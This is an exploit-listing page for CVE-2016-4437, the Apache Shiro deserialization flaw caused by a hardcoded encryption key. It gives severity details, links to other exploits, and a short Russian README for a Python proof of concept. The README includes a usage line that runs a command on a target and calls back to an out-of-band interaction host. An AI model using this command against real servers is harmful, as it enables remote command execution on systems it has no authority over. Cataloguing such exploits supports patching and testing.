Exploit for CVE-2016-4437

kitploit · 2026-09-06

Description

Deserialization in Apache Shiro due to hardcoded encryption key allows exploitation.

Affected software

Apache Aurora< 0.18.1

Apache Shiro< 1.2.5

All known vulnerabilities by product

Apache Shiro Ubuntu

CVSS 9.8 for CVE-2016-4437

9.8

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:NONE

Scope:UNCHANGED

Confidentiality:HIGH

Integrity:HIGH

Availability:HIGH

CVE Information

Exploit Details

Modified:2026-09-06 18:39

Last Seen:2026-09-13 03:20

Reporter:KitPloit

Tags

Apache Shirodeserializationhardcoded keyencryption keyPython POCcommand execution

Other exploits for CVE-2016-4437

2026-09-13 KitPloitKITPLOIT

2026-09-13 KitPloitKITPLOIT

2026-09-12 KitPloitKITPLOIT

2026-09-12 KitPloitKITPLOIT

Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora

2022-12-10 openKylinGITEE

Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora

2020-11-03 零度咖啡2016GITEE

Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora

2020-10-08 0xdawnGITEE

Exploit for Use of Hard-coded Cryptographic Key in Apache Aurora

2020-05-27 bkfishGITHUB

Exploit Code

MARKDOWN10 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PIZZA-POWER-CVE-2016-4437
# CVE-2016-4437

Python POC для эксплуатации уязвимости десериализации Apache Shiro CVE-2016-4437 из-за жестко закодированного ключа шифрования

Пример использования:

`./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun`

Смотрите комментарии и код для получения дополнительной информации.